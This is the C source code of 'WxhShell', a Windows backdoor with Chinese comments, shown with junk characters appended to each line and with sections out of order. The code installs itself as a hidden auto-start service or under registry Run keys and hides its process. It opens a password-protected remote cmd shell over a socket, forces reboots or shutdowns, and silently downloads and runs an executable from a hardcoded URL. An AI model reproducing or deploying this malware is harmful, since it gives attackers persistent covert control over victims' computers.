    } 5C0![ $W>  
    break; iR?}^|]  
    } !6!Gx:  
  // 关机 Co>e<be%S  
  case 'd': { M8nfbc^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VKV :U60  
    if(Boot(SHUTDOWN)) (qglD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4Wt oE>i  
    else { d|?Xo\+  
    closesocket(wsh); UodBK7y  
    ExitThread(0); !7Eodq-0  
    } ;/:Sx/#s  
    break; 5`Q j<   
    } t:MSV?  
  // 获取shell v5>A1\  
  case 's': { [?%q,>F  
    CmdShell(wsh); qv& Bai[  
    closesocket(wsh); *5IB@^<  
    ExitThread(0); vd?Bk_d9k,  
    break; 8Cs;.>75[  
  } hw$!LTB2  
  // 退出 w4(L@1  
  case 'x': { FA%_jM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 27k(`{K  
    CloseIt(wsh); _j+!Fd  
    break; a`L:E'|B9  
    } m9vX8;.  
  // 离开 eU\xOTl~<{  
  case 'q': { _ f'v>"K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 85YUqVi9  
    closesocket(wsh); 84vd~Cf 9  
    WSACleanup(); aaP_^m O  
    exit(1); NV7k@7_{B  
    break; !_vxbfZO  
        } SE'!j]6jI  
  } Z\?2"4H  
  } N_I KH)  
tI1OmhNN  
  // 提示信息 LH)XD[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I)tiXcJw  
} Fvf |m7  
  } ~: {05W  
M@#T`aS  
  return; 9.8%Iw  
} 4qdoF_  
XEQTTD<  
// shell模块句柄 ;-6-DEL  
int CmdShell(SOCKET sock) |GtvgvO,  
{ y{S8?$dU$:  
STARTUPINFO si; B*N1)J\5  
ZeroMemory(&si,sizeof(si)); y(o)} m*0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}^5ru  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RFMPh<Ac  
PROCESS_INFORMATION ProcessInfo; =e4 r=I  
char cmdline[]="cmd"; |~r-VV(=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T5 (|{-  
  return 0; @^A5{qQ\  
} # obRr#8  
z%OKv[/N  
// 自身启动模式 @@)2 12  
int StartFromService(void) 1>"-!ADm  
{ !bP%\)5  
typedef struct PD)"od  
{ ,;_+o]  
  DWORD ExitStatus; )P$|9<_q7x  
  DWORD PebBaseAddress; tO&ffZP8$  
  DWORD AffinityMask; v8)"skVnFG  
  DWORD BasePriority; CuWJai:nQ;  
  ULONG UniqueProcessId; |@vkQ  
  ULONG InheritedFromUniqueProcessId; CZ<T@k  
}   PROCESS_BASIC_INFORMATION; gxN>q4z  
L-T,[;bl  
PROCNTQSIP NtQueryInformationProcess; DcW?L^Mst  
<.Ws; HN}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Y|a:){G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j-":>}oW2.  
` y\)X C7  
  HANDLE             hProcess; N% 4"9K  
  PROCESS_BASIC_INFORMATION pbi; GC{M"q|_  
V5 w1ET  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nob(D'vSr  
  if(NULL == hInst ) return 0; {drc}BL_  
5~|{:29X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Snx!^4+MF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a YWWln  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }(oeNP M8  
s V_(9@b  
  if (!NtQueryInformationProcess) return 0; "j@\a)a  
5&ku]l+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K]hp-QK<  
  if(!hProcess) return 0; $"r9U|6kk  
c-sjYJXKM*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,~1"50 Hp@  
d9K8[Q5^3  
  CloseHandle(hProcess); qhEv6Yxfw6  
.UG`pRC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?13qDD:  
if(hProcess==NULL) return 0; fSkDD>&  
>?, Zn  
HMODULE hMod; ;]u9o}[ 2  
char procName[255]; VPe0\?!d  
unsigned long cbNeeded; {FNkPX  
?, S/>SP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DN*5q9.  
l3>S{  
  CloseHandle(hProcess); \84t\jKR  
AcC &Q:g  
if(strstr(procName,"services")) return 1; // 以服务启动 yD7BZI xW  
;-+q*@sa]  
  return 0; // 注册表启动 or/gx3  
} zx3gz7>k;  
qN $t_  
// 主模块 |eqBCZn  
int StartWxhshell(LPSTR lpCmdLine) \D7bTn  
{ qqrjI.  
  SOCKET wsl; V' Gal`  
BOOL val=TRUE; 'X^auyL  
  int port=0; Y`;}w}EcgR  
  struct sockaddr_in door; F5h/>  
FSIiw#xzH  
  if(wscfg.ws_autoins) Install(); 5(3O/C{?~  
"& ,ov#  
port=atoi(lpCmdLine); IS2cU'   
hH %>  
if(port<=0) port=wscfg.ws_port; p+VU:%.t  
.ZpOYhk  
  WSADATA data; i%hCV o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?sf<cFF  
1E+12{~m"i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g !'R}y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >|$]=e,Z  
  door.sin_family = AF_INET; l<6u@,%s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @(3F4Z.i%.  
  door.sin_port = htons(port); >f(?Mxh2  
`o[l%I\Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dac)`/  
closesocket(wsl); b 7UJ  
return 1; z p E|  
} i"^>sk  
T] zEcx+e  
  if(listen(wsl,2) == INVALID_SOCKET) { %FO{:@CH  
closesocket(wsl); OtG\Uw8  
return 1; (}: s[cs  
} P@{ x@9kI  
  Wxhshell(wsl); UUah5$Iy  
  WSACleanup(); i0vm00oT  
ag-A}k>v  
return 0; X8 nos  
o NtFYY  
} eqbN_$>  
#9vC]Gm  
// 以NT服务方式启动 Shm> r@C?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) / ^.|m3  
{ (WM3(US|  
DWORD   status = 0; aurs~  
  DWORD   specificError = 0xfffffff; "y1Iu   
NAbVH{*\U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dbI>\khI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .tngN<f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~zVxprEf_  
  serviceStatus.dwWin32ExitCode     = 0; mk-{@$QJb  
  serviceStatus.dwServiceSpecificExitCode = 0; XzUGlrp:Y#  
  serviceStatus.dwCheckPoint       = 0; 'xwCeZcg  
  serviceStatus.dwWaitHint       = 0; 1U 6B$(V^i  
7]ieBUf S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2hh8G5IaQ  
  if (hServiceStatusHandle==0) return; iOE. .xA:  
K7 e~%mY  
status = GetLastError(); [a=exK  
  if (status!=NO_ERROR) iI3:<j l  
{ J2UQq7-y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q7R]!zk  
    serviceStatus.dwCheckPoint       = 0; +$2{u_m,  
    serviceStatus.dwWaitHint       = 0; S;|:ci<[=  
    serviceStatus.dwWin32ExitCode     = status; /jbAf]"F;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?t#wK}d.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?#xl3Z ;I  
    return; !l:GrT8J  
  } ;nY#/%f  
=2Y;)wrF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Shn,JmR  
  serviceStatus.dwCheckPoint       = 0; ><V*`{bD9)  
  serviceStatus.dwWaitHint       = 0; m,l/=M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O%b byR2  
} ajYe?z  
9T,/R1N8  
// 处理NT服务事件,比如:启动、停止 SN{z)q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cux(v8=n  
{ H;H=8'  
switch(fdwControl) 7T~ M`$h  
{ [$N_YcN?  
case SERVICE_CONTROL_STOP: )*')  
  serviceStatus.dwWin32ExitCode = 0; I>c,Bo7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k+<9 45kC  
  serviceStatus.dwCheckPoint   = 0; aZfMeW  
  serviceStatus.dwWaitHint     = 0; u v%Q5O4  
  { bJ^JK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >ohH4:  
  } _fAgp_)  
  return; Z8$}Rpo  
case SERVICE_CONTROL_PAUSE: ua\t5M5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3h:j.8Z  
  break; %,>z`D,Hg  
case SERVICE_CONTROL_CONTINUE: IqOg{#sm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .sMs_ 5D  
  break; s**<=M GK  
case SERVICE_CONTROL_INTERROGATE: 36d nS>4  
  break; j\>LJai"  
}; h2l;xt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9X^3.nI  
} c9(3z0!F ?  
] V D  
// 标准应用程序主函数  Fr%#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! 'zd(kv<  
{ T$Z9F^w  
TpjiKM  
// 获取操作系统版本 m]p{]6h  
OsIsNt=GetOsVer(); *}[\%u$ T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;>6< u.N  
wxN)d B  
  // 从命令行安装 (In{GA7 ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); f/Gx}x=  
_Q V=3UWP  
  // 下载执行文件 Di9RRHn&q  
if(wscfg.ws_downexe) { U82a]i0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Z&/w.D2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9zaN fs  
} nt.LiM/L  
QX,$JM3  
if(!OsIsNt) { 6].[z+  
// 如果时win9x,隐藏进程并且设置为注册表启动 MP]<m7669*  
HideProc(); =BJLj0=N  
StartWxhshell(lpCmdLine); %sa?/pjK  
} `Sod]bO +U  
else 4u{S?Ryy  
  if(StartFromService()) Y&|Z*s+ +}  
  // 以服务方式启动 m5Bf<E,c  
  StartServiceCtrlDispatcher(DispatchTable); b R\7j+*&  
else XS<>0YM  
  // 普通方式启动 $vn6%M[  
  StartWxhshell(lpCmdLine); 3JazQU  
Pt]>AW;i  
return 0; A5l Cc b  
} s%[F,hQRk  
|/.J{=E0K  
5Qgu:)}  
AFLtgoXn:  
=========================================== ?K1B^M=8  
cNll??j  
 tV}!_  
h~dQ5%  
)p& g!qA  
{Jr1K,  
" &L|oqXE0L  
q'3{M]Tk  
#include <stdio.h> mz?<t/$U  
#include <string.h> -V$|t<  
#include <windows.h> jNZ .Fb  
#include <winsock2.h> ) u?f| D  
#include <winsvc.h> 8R~<$ xz  
#include <urlmon.h> =lacfPS  
U,GSWMI/K  
#pragma comment (lib, "Ws2_32.lib") VRo&1:  
#pragma comment (lib, "urlmon.lib") \;;M")$  
T,38Pu@r  
#define MAX_USER   100 // 最大客户端连接数 ,@$5,rNf  
#define BUF_SOCK   200 // sock buffer g[xoS\d  
#define KEY_BUFF   255 // 输入 buffer 0uy'Py@2<  
# :+Nr  
#define REBOOT     0   // 重启 4jT6h9%  
#define SHUTDOWN   1   // 关机 /2^L;#  
"2%z;!U1  
#define DEF_PORT   5000 // 监听端口 ?0qVyK_1  
s 6Wp"V(  
#define REG_LEN     16   // 注册表键长度 BR|!ya+_2  
#define SVC_LEN     80   // NT服务名长度 S"bN9?;#u  
nz 10/nw  
// 从dll定义API R'c*CLaiE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q~{) {t;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c r=Q39{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gC7!cn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %-hSa~20  
uWS]l[Ga  
// wxhshell配置信息 )Q2Ap&  
struct WSCFG { t~2oEwTm  
  int ws_port;         // 监听端口 f\&X$g  
  char ws_passstr[REG_LEN]; // 口令 pyEQb#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2- iY:r  
  char ws_regname[REG_LEN]; // 注册表键名 !$)reaS  
  char ws_svcname[REG_LEN]; // 服务名 lZzW- %K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6@]o,O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $q!A1Fgk0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (Tx_`rO4VY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0aT:Gy;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m:BzIcW<\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]2zM~  
Jv~R/qaaD  
}; +%5L2/n7  
rzY)vC+ZT  
// default Wxhshell configuration aIgexi,  
struct WSCFG wscfg={DEF_PORT, =%_=!%  
    "xuhuanlingzhe", 0nc(2Bi  
    1, hB [bth  
    "Wxhshell", >N&{DJmD  
    "Wxhshell", #.8v[TkKq  
            "WxhShell Service",  lKbWQ>  
    "Wrsky Windows CmdShell Service", )x-b+SC  
    "Please Input Your Password: ", s,R:D).  
  1, T CT8OU|  
  "http://www.wrsky.com/wxhshell.exe", 74^v('-2  
  "Wxhshell.exe" 7cc^n\c?Y  
    }; -jQ*r$iRE  
txEN7!  
// 消息定义模块 Z% +$<J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4*_jGw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mo/R+\u+Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PRfq_:xy  
char *msg_ws_ext="\n\rExit."; _hnsH I!oD  
char *msg_ws_end="\n\rQuit."; #H$lBC WI  
char *msg_ws_boot="\n\rReboot..."; e;i 6C%DB  
char *msg_ws_poff="\n\rShutdown..."; XtCIUC{r,  
char *msg_ws_down="\n\rSave to "; .AN1Yt  
Y9BQLu4F  
char *msg_ws_err="\n\rErr!"; 8W3zrnc  
char *msg_ws_ok="\n\rOK!"; 5OM #_.p  
le*+(aw  
char ExeFile[MAX_PATH]; :N8n6)#1=  
int nUser = 0; }6Pbjm*  
HANDLE handles[MAX_USER]; AA\)BNM  
int OsIsNt; <B@NSj  
F .S^KK  
SERVICE_STATUS       serviceStatus; F:/x7]7??Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?NBae\6r  
]m_x;5s $  
// 函数声明 bQD8#Ml1  
int Install(void); zw#n85=  
int Uninstall(void); =r]l"T  
int DownloadFile(char *sURL, SOCKET wsh); Xg~9<BGsi  
int Boot(int flag); stiF`l  
void HideProc(void); RvG=GJJ9  
int GetOsVer(void); EPE_2a}  
int Wxhshell(SOCKET wsl); NQD5=/o  
void TalkWithClient(void *cs); H&-3`<  
int CmdShell(SOCKET sock); ByY^d#oE  
int StartFromService(void); d==0 @`  
int StartWxhshell(LPSTR lpCmdLine); 2n.HmS  
NX\AQVy9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F{mUxo#T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;R= n<=Axa  
re*Zs}(N\  
// 数据结构和表定义 @ ]u@e4T  
SERVICE_TABLE_ENTRY DispatchTable[] = ^i@anbH  
{ S(@kdL  
{wscfg.ws_svcname, NTServiceMain}, = #-zK:4  
{NULL, NULL} >5O~SF.  
}; aOvqk ^  
*VsGa<V  
// 自我安装 ,X!)zAmm  
int Install(void) aiPm.h>  
{ B}[CU='P*  
  char svExeFile[MAX_PATH]; =!-}q  
  HKEY key; zS:2?VXxq  
  strcpy(svExeFile,ExeFile); $WIE`P%  
(IV\s Y  
// 如果是win9x系统,修改注册表设为自启动 NL]_;\ h  
if(!OsIsNt) { K/9Jx(I,qL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cl '$*h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]QlW{J  
  RegCloseKey(key); *I :c@iCNJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7V%P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G:*vV#K  
  RegCloseKey(key); OROvy  
  return 0; $e1.y b%  
    } 9(t(sP_  
  } ;6@sC[  
} HGAi2+&  
else { LqYyIbsvf  
Tdh(J",d  
// 如果是NT以上系统,安装为系统服务 {|>'(iqH"w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + yI$4MY  
if (schSCManager!=0) Muwlehuq  
{ 3qTr|8`s  
  SC_HANDLE schService = CreateService yKhI&  
  ( z~2{`pET  
  schSCManager, W=HvMD  
  wscfg.ws_svcname, lU 62$2  
  wscfg.ws_svcdisp, u xyj6(  
  SERVICE_ALL_ACCESS, 7c"Csq/]I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R'sNMWM  
  SERVICE_AUTO_START, .@): Uh  
  SERVICE_ERROR_NORMAL, J4ZHE\  
  svExeFile, j7)mC4o:%  
  NULL, %%ouf06.|  
  NULL, (Yz[SK=U}  
  NULL, a0hBF4+6  
  NULL, Sm<*TH!\n_  
  NULL ~AjPa}@ f  
  ); ]AQ}_dRi=  
  if (schService!=0) frUs'j/bZ  
  { c\n_[r  
  CloseServiceHandle(schService); LxIGPC~  
  CloseServiceHandle(schSCManager); 3w)r""C&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (s&:D`e  
  strcat(svExeFile,wscfg.ws_svcname); I?Iz5e-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Uics:cQC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WzstO}?P(  
  RegCloseKey(key); TC-Vzk G|  
  return 0; qkKl;Z?Y:  
    } /-v ;  
  } G@/iK/>5|`  
  CloseServiceHandle(schSCManager); \dCGu~bT  
} #f"eZAQ {  
} Nl[&rZ-&  
Lfn$Q3}O`$  
return 1; :!MEBqcU  
} T^Ia^B-%}g  
tTBDb  
// 自我卸载 dV[G-p  
int Uninstall(void) WP*}X7IS  
{ tx7 zG.,  
  HKEY key; 2*Qi4%s#  
7LU^Xm8  
if(!OsIsNt) { $M)SsD~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W:8MqVm34  
  RegDeleteValue(key,wscfg.ws_regname); )T"Aji-hy  
  RegCloseKey(key); nQQHm6N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .mfLHN%:  
  RegDeleteValue(key,wscfg.ws_regname); n 6 pJ]Ce  
  RegCloseKey(key); 9;Z{++z  
  return 0; 1q(Qr h  
  } K@*+;6y@  
} I'*,<BPG  
} @Dfg6<0  
else { rX)&U4#[m  
v4hrS\M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3N$@K"qM#  
if (schSCManager!=0) "LlQl3"=  
{ &(,\~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4/~x+tdc  
  if (schService!=0) Jy/< {7j  
  { lv=q( &  
  if(DeleteService(schService)!=0) { b5H}0<  
  CloseServiceHandle(schService); {Z k^J  
  CloseServiceHandle(schSCManager); 7YD+zd:  
  return 0; %W9R08`  
  } ~<!j]@.  
  CloseServiceHandle(schService); e1a\ --  
  } O6NH  
  CloseServiceHandle(schSCManager); w^Y/J4 I0  
} %:'G={G`QH  
} yVnG+R&  
!*Is0``  
return 1; MoN0w.V  
} ;*Vnwt A  
qdI%v#'M  
// 从指定url下载文件 _!1LV[x!s  
int DownloadFile(char *sURL, SOCKET wsh) F}{%*EJ  
{ >BO$tbU5b  
  HRESULT hr; |hxiARr4  
char seps[]= "/"; UBuh '?j  
char *token; "'bl)^+?,  
char *file; YA,~qT|  
char myURL[MAX_PATH]; lND2Kb  
char myFILE[MAX_PATH]; ! DOyOTR&3  
by'KJxl[  
strcpy(myURL,sURL); beo(7,=&  
  token=strtok(myURL,seps); :=y5713  
  while(token!=NULL) s>o#Ob@4'  
  { Hc'Pp{| X  
    file=token; @U8u6JNK'  
  token=strtok(NULL,seps); JWd[zJ[  
  } mq[=,,#  
0Q a 0  
GetCurrentDirectory(MAX_PATH,myFILE); nfF$h}<o+  
strcat(myFILE, "\\"); \4wMv[;7  
strcat(myFILE, file); #dae^UjM  
  send(wsh,myFILE,strlen(myFILE),0); uKAI->"  
send(wsh,"...",3,0); ;iuwIdo6c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tgKr*8t{  
  if(hr==S_OK) pM@8T25=  
return 0; 'Z~ZSu  
else U4=l`{5on  
return 1; f2x!cL|Kx?  
'27$x&6>S  
} xx!8cvD4?  
SPE)db3  
// 系统电源模块 "jyo'r  
int Boot(int flag) D<69xT,  
{ _l9fNf!@  
  HANDLE hToken; |\Jnr3)  
  TOKEN_PRIVILEGES tkp; U\Vg&"P  
 j5/pVXO  
  if(OsIsNt) { x4_MbUe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^+D/59I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I`{*QU  
    tkp.PrivilegeCount = 1; nQmHYOF%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q~ a FV<Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nSyLt6zn\  
if(flag==REBOOT) { +]cf/_8+s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) } doAeTZ  
  return 0; 3GF67]  
} 2>9\o]ac4  
else { .4^+q9M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _aevaWtEx  
  return 0; ^}Vc||S  
} 'r7[9[  
  } ~'lT8 n_  
  else { IOZw[9](+  
if(flag==REBOOT) {  q6F1Rt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) < 8' b  
  return 0; 56z>/`=  
} ?@4Mt2Z\  
else { AB/${RGf+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |K1S(m<F  
  return 0; a6n@   
} fE~KWLm  
} se %#U40*  
+ )Qu,%2   
return 1; _">F]ptI;  
} YCiG~y/~  
T;(,9>Qsu  
// win9x进程隐藏模块 76rv$z{g^  
void HideProc(void) X1(ds*'Kv  
{ Gt#r$.]W?o  
y\^zxG*]'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bK%F_v3'  
  if ( hKernel != NULL ) [<f2h-V$  
  { *fc8M(]&d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yZ6WbI8n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9< ?w9D.1  
    FreeLibrary(hKernel); <&b,%O  
  } G,!jP2S  
^slIR!L  
return; LSc^3=X  
} 8_!qoW@B  
Y^Buz<OiG  
// 获取操作系统版本 &*OwoTgk+  
int GetOsVer(void) :ir#7/  
{ %U{sn\V  
  OSVERSIONINFO winfo; g/.FJ-I*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M}o.= Iqa  
  GetVersionEx(&winfo); zNX=V!$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {mD0 ug  
  return 1; Db Qp (W0  
  else 2x<BU3  
  return 0; fQib?g/G  
} M _< |n  
n R,QG8  
// 客户端句柄模块 THq}>QI  
int Wxhshell(SOCKET wsl) LmJjO:W}^y  
{ ~$6` e:n  
  SOCKET wsh; \(Rj2  
  struct sockaddr_in client; :;Z/$M16B  
  DWORD myID; \@Cz 32wg  
0J'^<G TL  
  while(nUser<MAX_USER) sZ=!*tb-  
{ o(e(| k {  
  int nSize=sizeof(client); ]~]TZb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h81giY]  
  if(wsh==INVALID_SOCKET) return 1; 'Grej8  
.) tQ&2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }}k%.Qb  
if(handles[nUser]==0) x~}&t+FK  
  closesocket(wsh); #WG}"[ ,c  
else >oq\`E  
  nUser++; h<?Px"& J  
  } \uHC9}0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ag0 6M U  
ltNI+G  
  return 0; v+x<X5u  
} %R4 \[e  
DtBvfYO8)>  
// 关闭 socket @Pc7$qD%  
void CloseIt(SOCKET wsh) OiA uL:D  
{ Ec<33i]h*p  
closesocket(wsh); jX4$PfOhR  
nUser--; r8YM#dF  
ExitThread(0); f`ibP6%  
} mxCneX  
*^@b0f~vj  
// 客户端请求句柄  cRK Lyb  
void TalkWithClient(void *cs) 0Md.3kY  
{ % m6qL  
1@I#Fv  
  SOCKET wsh=(SOCKET)cs; #Db^*  
  char pwd[SVC_LEN]; Sm {Sq  
  char cmd[KEY_BUFF]; VTL_I^p  
char chr[1]; [H\0 '  
int i,j; r[ k  
U~BR8]=G  
  while (nUser < MAX_USER) { wq.'8Y~BE  
kO`!!M[Oo  
if(wscfg.ws_passstr) { x_O:IK.>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 92Gfxld\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uy2~<)  
  //ZeroMemory(pwd,KEY_BUFF); -,*m\Fe}  
      i=0; a=ZVKb  
  while(i<SVC_LEN) { {w3<dfJ  
mN{H^  
  // 设置超时 .7 j#F  
  fd_set FdRead; yqx!{8=V  
  struct timeval TimeOut; en|~`]HF  
  FD_ZERO(&FdRead); ~ 1TT?H  
  FD_SET(wsh,&FdRead); V(K;Gc  
  TimeOut.tv_sec=8; umuj>  
  TimeOut.tv_usec=0; 9+*{3 t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^vh!1"T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gcwJ{&  
Y/UvNb<lK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wG:RvgX}  
  pwd=chr[0]; <z60E vHg  
  if(chr[0]==0xd || chr[0]==0xa) { 7>zUT0SS  
  pwd=0; [H!do$[>  
  break; @P0rNO %y  
  } 5/6Jq  
  i++; N4qBCBr(  
    } jXmY8||w  
xH28\]F5n  
  // 如果是非法用户,关闭 socket <J~6Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XjzGtZ#6  
} ]Rf$&7`g{  
F&p42!"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?2o+x D2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DJdhOLx  
Q& d;UVp  
while(1) { 1k"t[^  
;xh.95BP`  
  ZeroMemory(cmd,KEY_BUFF); =_E$* }  
a%m >v,  
      // 自动支持客户端 telnet标准   ]7,0>  
  j=0; 0;1O;JRw  
  while(j<KEY_BUFF) { g}6M+QNj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |2TH[J_a  
  cmd[j]=chr[0]; j."V>p8u$  
  if(chr[0]==0xa || chr[0]==0xd) { KJ&I4CU]^  
  cmd[j]=0; j-aTpN  
  break; $bpu  
  } >G?*rg4  
  j++; Q+a&a]*KL^  
    } bly `m p8#  
R'F\9eyA  
  // 下载文件 =j w?*  
  if(strstr(cmd,"http://")) { {LKW%G7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); evE:FiDm(j  
  if(DownloadFile(cmd,wsh)) r;(^]Soz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:I-?z;S  
  else StNA(+rT  
